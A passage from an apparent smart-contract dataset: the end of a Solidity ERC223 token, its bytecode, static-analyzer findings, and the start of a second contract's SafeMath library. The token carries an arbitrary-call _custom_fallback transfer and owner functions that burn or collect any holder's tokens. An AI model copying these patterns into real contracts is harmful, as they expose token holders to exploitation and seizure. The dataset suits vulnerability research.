(balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { // retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; FrozenFunds(targets[i], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; LockedFunds(targets[i], unixTimes[i]); } } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev token fallback function */ function() payable public { autoDistribute(); } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017557806318160ddd14610203578063256fa2411461022c578063313ce567146102a7578063378dc3dc146102d657806340c10f19146102ff5780634f25eced1461035957806364ddc6051461038257806370a082311461041c5780637d64bcb4146104695780638da5cb5b1461049657806395d89b41146104eb5780639dc29fac14610579578063a8f11eb9146105bb578063a9059cbb146105c5578063b414d4b61461061f578063be45fd6214610670578063c341b9f61461070d578063cbbe974b14610772578063d39b1d48146107bf578063f0dc4171146107e2578063f2fde38b14610894578063f6368f8a146108cd575b6101466109ad565b005b341561015357600080fd5b61015b610cf3565b604051808215151515815260200191505060405180910390f35b341561018057600080fd5b610188610d06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610216610dae565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61028d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610db8565b604051808215151515815260200191505060405180910390f35b34156102b257600080fd5b6102ba6111e3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e157600080fd5b6102e96111fa565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c6113e5565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b61041a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506113eb565b005b341561042757600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ef565b6040518082815260200191505060405180910390f35b341561047457600080fd5b61047c611638565b604051808215151515815260200191505060405180910390f35b34156104a157600080fd5b6104a9611700565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f657600080fd5b6104fe611726565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053e578082015181840152602081019050610523565b50505050905090810190601f16801561056b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ce565b005b6105c36109ad565b005b34156105d057600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061193d565b604051808215151515815260200191505060405180910390f35b341561062a57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad7565b604051808215151515815260200191505060405180910390f35b341561067b57600080fd5b6106f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611af7565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b6107706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611c88565b005b341561077d57600080fd5b6107a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e2a565b6040518082815260200191505060405180910390f35b34156107ca57600080fd5b6107e06004808035906020019091905050611e42565b005b34156107ed57600080fd5b61087a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ea8565b604051808215151515815260200191505060405180910390f35b341561089f57600080fd5b6108cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612355565b005b34156108d857600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506124ad565b604051808215151515815260200191505060405180910390f35b60006007541180156109eb57506007546109e8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115ef565b10155b8015610a47575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610a9c57600080fd5b6000341115610b0857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0757600080fd5b5b610b7560096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129a3565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129bc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b610d0e612f42565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610dcd575060008551115b8015610e29575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610e735750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610e7e57600080fd5b610e8c846305f5e1006129da565b9350610e998486516129da565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ee957600080fd5b600090505b845181101561114b5760008582815181101515610f0757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015610f9c575060001515600a60008784815181101515610f4657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610ffd5750600b60008683815181101515610fb557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561100857600080fd5b61106860096000878481518110151561101d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856129bc565b60096000878481518110151561107a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156110d057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610eee565b611194600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125e57600080fd5b600860009054906101000a900460ff1615151561127a57600080fd5b60008211151561128957600080fd5b611295600654836129bc565b6006819055506112e4600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129bc565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144957600080fd5b6000835111801561145b575081518351145b151561146657600080fd5b600090505b82518110156115ea57818181518110151561148257fe5b90602001906020020151600b6000858481518110151561149e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156114ef57600080fd5b81818151811015156114fd57fe5b90602001906020020151600b6000858481518110151561151957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561156f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156115be57fe5b906020019060200201516040518082815260200191505060405180910390a2808060010191505061146b565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169657600080fd5b600860009054906101000a900460ff161515156116b257600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61172e612f42565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c45780601f10611799576101008083540402835291602001916117c4565b820191906000526020600020905b8154815290600101906020018083116117a757829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182a57600080fd5b60008111801561184257508061183f836115ef565b10155b151561184d57600080fd5b611896600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826129a3565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e5600654826129a3565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611947612f56565b6000831180156119a7575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a03575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a4d5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611a975750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611aa257600080fd5b611aab84612a15565b15611ac257611abb848483612a28565b9150611ad0565b611acd848483612d49565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611b58575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bb4575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bfe5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611c485750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611c5357600080fd5b611c5c84612a15565b15611c7357611c6c848484612a28565b9050611c81565b611c7e848484612d49565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce657600080fd5b60008351111515611cf657600080fd5b600090505b8251811015611e255760008382815181101515611d1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611d4157600080fd5b81600a60008584815181101515611d5457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611dbd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611cfb565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9e57600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0957600080fd5b60008551118015611f1b575083518551145b1515611f2657600080fd5b60009150600090505b84518110156122bd5760008482815181101515611f4857fe5b90602001906020020151118015611f8d575060008582815181101515611f6a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612000575060001515600a60008784815181101515611faa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156120615750600b6000868381518110151561201957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561206c57600080fd5b612091848281518110151561207d57fe5b906020019060200201516305f5e1006129da565b848281518110151561209f57fe5b906020019060200201818152505083818151811015156120bb57fe5b906020019060200201516009600087848151811015156120d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212957600080fd5b6121a060096000878481518110151561213e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858381518110151561219157fe5b906020019060200201516129a3565b6009600087848151811015156121b257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061221b82858381518110151561220c57fe5b906020019060200201516129bc565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561224257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110151561229157fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611f2f565b612306600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129bc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156123ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808411801561250e575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561256a575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156125b45750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156125fe5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561260957600080fd5b61261285612a15565b1561298d5783612621336115ef565b101561262c57600080fd5b61263e612638336115ef565b856129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269361268d866115ef565b856129bc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156127255780518252602082019150602081019050602083039250612700565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156128065780820151818401526020810190506127eb565b50505050905090810190601f1680156128335780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f19350505050151561285757fe5b826040518082805190602001908083835b60208310151561288d5780518252602082019150602081019050602083039250612868565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001905061299b565b612998858585612d49565b90505b949350505050565b60008282111515156129b157fe5b818303905092915050565b60008082840190508381101515156129d057fe5b8091505092915050565b60008060008414156129ef5760009150612a0e565b8284029050828482811515612a0057fe5b04141515612a0a57fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612a35336115ef565b1015612a4057600080fd5b612a52612a4c336115ef565b856129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aa7612aa1866115ef565b856129bc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612baf578082015181840152602081019050612b94565b50505050905090810190601f168015612bdc5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612bfc57600080fd5b6102c65a03f11515612c0d57600080fd5b505050826040518082805190602001908083835b602083101515612c465780518252602082019150602081019050602083039250612c21565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612d55336115ef565b1015612d6057600080fd5b612d72612d6c336115ef565b846129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc7612dc1856115ef565b846129bc565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612e405780518252602082019150602081019050602083039250612e1b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a723058205b1c180e8c83c49507900735854a4f59335e6aef1598d9a426e31b378c93a8110029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,437
0x849e21c3FB182D3D359595B0097b4AA249c16366
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { 